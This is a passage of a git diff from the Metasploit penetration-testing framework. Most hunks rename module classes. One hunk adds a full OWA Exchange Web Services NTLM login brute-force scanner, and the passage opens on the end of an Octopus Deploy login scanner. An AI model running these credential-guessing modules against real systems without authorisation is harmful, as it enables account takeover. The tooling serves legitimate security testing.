datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::OctopusDeploy.new( + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'], + uri: datastore['TARGETURI'] + ) + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 123e89d6df..6ec76f75bb 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb index 3402e97dd7..75520d32ff 100644 --- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb +++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb index 1839e47ddd..466c9b75c3 100644 --- a/modules/auxiliary/scanner/http/options.rb +++ b/modules/auxiliary/scanner/http/options.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb index 4d69c421a2..d2a1490cc7 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb index f536b5a39a..6a078da9a3 100644 --- a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb +++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index 2f1167132c..de82331fa2 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/owa_ews_login.rb b/modules/auxiliary/scanner/http/owa_ews_login.rb new file mode 100644 index 0000000000..b1f6d87800 --- /dev/null +++ b/modules/auxiliary/scanner/http/owa_ews_login.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/ntlm/message' +require 'rex/proto/http' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'OWA Exchange Web Services (EWS) Login Scanner', + 'Description' => %q{ + This module attempts to log in to the Exchange Web Services, often + exposed at https://example.com/ews/, using NTLM authentication. This + method is faster and simpler than traditional form-based logins. + + In most cases, all you need to set is RHOSTS and some combination of + user/pass files; the autodiscovery should find the location of the NTLM + authentication point as well as the AD domain, and use them accordingly. + }, + 'Author' => 'Rich Whitcroft', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true, 'VERBOSE' => false } + ) + + register_options( + [ + OptBool.new('AUTODISCOVER', [ false, "Automatically discover domain URI", true ]), + OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]), + OptString.new('TARGETURI', [ false, "The location of the NTLM service", nil ]), + Opt::RPORT(443) + ], self.class) + end + + def run_host(ip) + cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['RPORT'], {}, datastore['SSL'], datastore['SSLVersion'], nil, '', '') + cli.set_config({ 'preferred_auth' => 'NTLM' }) + cli.connect + + domain = nil + uri = nil + + if datastore['AUTODISCOVER'] + domain, uri = autodiscover(cli) + if domain && uri + print_good("Found NTLM service at #{uri} for domain #{domain}.") + else + print_error("Failed to autodiscover - try manually") + return + end + elsif datastore['AD_DOMAIN'] && datastore['TARGETURI'] + domain = datastore['AD_DOMAIN'] + uri = datastore['TARGETURI'] + uri << "/" unless uri.chars.last == "/" + else + print_error("You must set AD_DOMAIN and TARGETURI if not using autodiscover.") + return + end + + cli.set_config({ 'domain' => domain }) + + creds = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + creds.each do |cred| + begin + req = cli.request_raw({ + 'uri' => uri, + 'method' => 'GET', + 'username' => cred.public, + 'password' => cred.private + }) + + res = cli.send_recv(req) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("Connection failed") + next + end + + if res.code != 401 + print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}" + report_cred( + ip: ip, + port: datastore['RPORT'], + service_name: 'owa_ews', + user: cred.public, + password: cred.private + ) + + return if datastore['STOP_ON_SUCCESS'] + else + vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}" + end + end + end + + def autodiscover(cli) + uris = %w[ /ews/ /rpc/ /public/ ] + uris.each do |uri| + begin + req = cli.request_raw({ + 'encode' => true, + 'uri' => uri, + 'method' => 'GET', + 'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='} + }) + + res = cli.send_recv(req) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("HTTP Connection Failed") + next + end + + unless res + print_error("HTTP Connection Timeout") + next + end + + if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + return domain, uri + end + end + + return nil, nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb index 542b5ef896..ea870025cb 100644 --- a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index b2393bbd3b..efc78770f1 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/ntlm/message' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute @@ -158,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary 'Cookie' => 'PBack=0' } - if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) + if datastore['SSL'] if action.name == "OWA_2013" data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1' else diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index f1107f89a4..137fae776d 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE )) + + deregister_options('HttpUsername', 'HttpPassword') end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb index fea9b90324..8a219052e8 100644 --- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb +++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index abcb16ce3f..0945bceb3a 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -38,6 +38,8 @@ class Metasploit3 < Msf::Auxiliary OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index cb12852868..a156661b3a 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index 5bdbe7bed5..6016a75b8a 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' require 'uri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 3e6f52150b..c1dfa907e7 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index 3537b86519..c48ab07a08 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -9,7 +9,7 @@ require 'pathname' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanFile diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb index a7ce79c852..4da2079121 100644 --- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb +++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index cb103e7da7..9bd3cc4909 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/rips_traversal.rb b/modules/auxiliary/scanner/http/rips_traversal.rb index 2b42cb8c54..fb1a847654 100644 --- a/modules/auxiliary/scanner/http/rips_traversal.rb +++ b/modules/auxiliary/scanner/http/rips_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb index 4d9933953b..e53d89e7de 100644 --- a/modules/auxiliary/scanner/http/robots_txt.rb +++ b/modules/auxiliary/scanner/http/robots_txt.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index 49fa51058f..a4c42efdba 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index f83d2b5033..ead59e4e57 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index aef82de583..ddd41a24b6 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index f56d659877..51b10cf29b 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index 8e33ae7cea..930dd36d87 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 817d830d11..4533882e40 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 7567b73111..f5481de390 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb index 64f8ba1137..cd1f376ed9 100644 --- a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb +++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 9e8a38d6c5..2551a650e7 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 19c37446a5..6e556b22b2 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index c7f90ebff3..db3b4664b9 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index 26cd5777e9..cb90ba8639 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb index e145de83eb..b5ed85615d 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index b7a87ad514..ad85196211 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index adc6eb3a10..7b79dae7cf 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index b9deea0f9c..17ef2fb7bd 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 35833d09af..329a3d0257 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index 77969a4f9e..0e51d19f55 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/socket/range_walker' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 56a0b065c0..043a2942e9 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index fb132e01e5..2ac6033fb3 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::WmapScanSSL @@ -38,56 +38,65 @@ class Metasploit4 < Msf::Auxiliary connect(true, {"SSL" => true}) #Force SSL - cert = OpenSSL::X509::Certificate.new(sock.peer_cert) + if sock.respond_to? :peer_cert + cert = OpenSSL::X509::Certificate.new(sock.peer_cert) + end disconnect if cert - print_status("#{ip}:#{rport} Subject: #{cert.subject}") - print_status("#{ip}:#{rport} Issuer: #{cert.issuer}") - print_status("#{ip}:#{rport} Signature Alg: #{cert.signature_algorithm}") - public_key_size = cert.public_key.n.num_bytes * 8 - print_status("#{ip}:#{rport} Public Key Size: #{public_key_size} bits") - print_status("#{ip}:#{rport} Not Valid Before: #{cert.not_before}") - print_status("#{ip}:#{rport} Not Valid After: #{cert.not_after}") + print_status("Subject: #{cert.subject}") + print_status("Issuer: #{cert.issuer}") + print_status("Signature Alg: #{cert.signature_algorithm}") + + # If we use ECDSA rather than RSA, our metrics for key size are different + public_key_size = 0 + if cert.public_key.respond_to? :n + public_key_size = cert.public_key.n.num_bytes * 8 + print_status("Public Key Size: #{public_key_size} bits") + end + print_status("Not Valid Before: #{cert.not_before}") + print_status("Not Valid After: #{cert.not_after}") # Checks for common properties of self signed certificates caissuer = (/CA Issuers - URI:(.*?),/i).match(cert.extensions.to_s) if caissuer.to_s.empty? - print_good("#{ip}:#{rport} Certificate contains no CA Issuers extension... possible self signed certificate") + print_good("Certificate contains no CA Issuers extension... possible self signed certificate") else - print_status("#{ip}:#{rport} " +caissuer.to_s[0..-2]) + print_status(caissuer.to_s[0..-2]) end if cert.issuer.to_s == cert.subject.to_s - print_good("#{ip}:#{rport} Certificate Subject and Issuer match... possible self signed certificate") + print_good("Certificate Subject and Issuer match... possible self signed certificate") end alg = cert.signature_algorithm if alg.downcase.include? "md5" - print_status("#{ip}:#{rport} WARNING: Signature algorithm using MD5 (#{alg})") + print_status("WARNING: Signature algorithm using MD5 (#{alg})") end vhostn = nil cert.subject.to_a.each do |n| vhostn = n[1] if n[0] == 'CN' end - if public_key_size == 1024 - print_status("#{ip}:#{rport} WARNING: Public Key only 1024 bits") - elsif public_key_size < 1024 - print_status("#{ip}:#{rport} WARNING: Weak Public Key: #{public_key_size} bits") + if public_key_size > 0 + if public_key_size == 1024 + print_status("WARNING: Public Key only 1024 bits") + elsif public_key_size < 1024 + print_status("WARNING: Weak Public Key: #{public_key_size} bits") + end end if cert.not_after < Time.now - print_status("#{ip}:#{rport} WARNING: Certificate not valid anymore") + print_status("WARNING: Certificate not valid anymore") end if cert.not_before > Time.now - print_status("#{ip}:#{rport} WARNING: Certificate not valid yet") + print_status("WARNING: Certificate not valid yet") end if vhostn - print_status("#{ip}:#{rport} has common name #{vhostn}") + print_status("Has common name #{vhostn}") # Store the virtual hostname for HTTP report_note( @@ -125,7 +134,7 @@ class Metasploit4 < Msf::Auxiliary end else - print_status("#{ip}:#{rport}] No certificate subject or common name found") + print_status("No certificate subject or common name found") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE diff --git a/modules/auxiliary/scanner/http/ssl_version.rb b/modules/auxiliary/scanner/http/ssl_version.rb index ee3e135338..40b22af0f8 100644 --- a/modules/auxiliary/scanner/http/ssl_version.rb +++ b/modules/auxiliary/scanner/http/ssl_version.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Auxiliary { 'SSL' => true, 'RPORT' => 443, - 'SSLVersion' => 'SSL3' }, 'References' => [ @@ -43,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptEnum.new('SSLVersion', [true, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]) + Opt::SSLVersion ] ) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index 015e81013f..cccf57bee8 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git 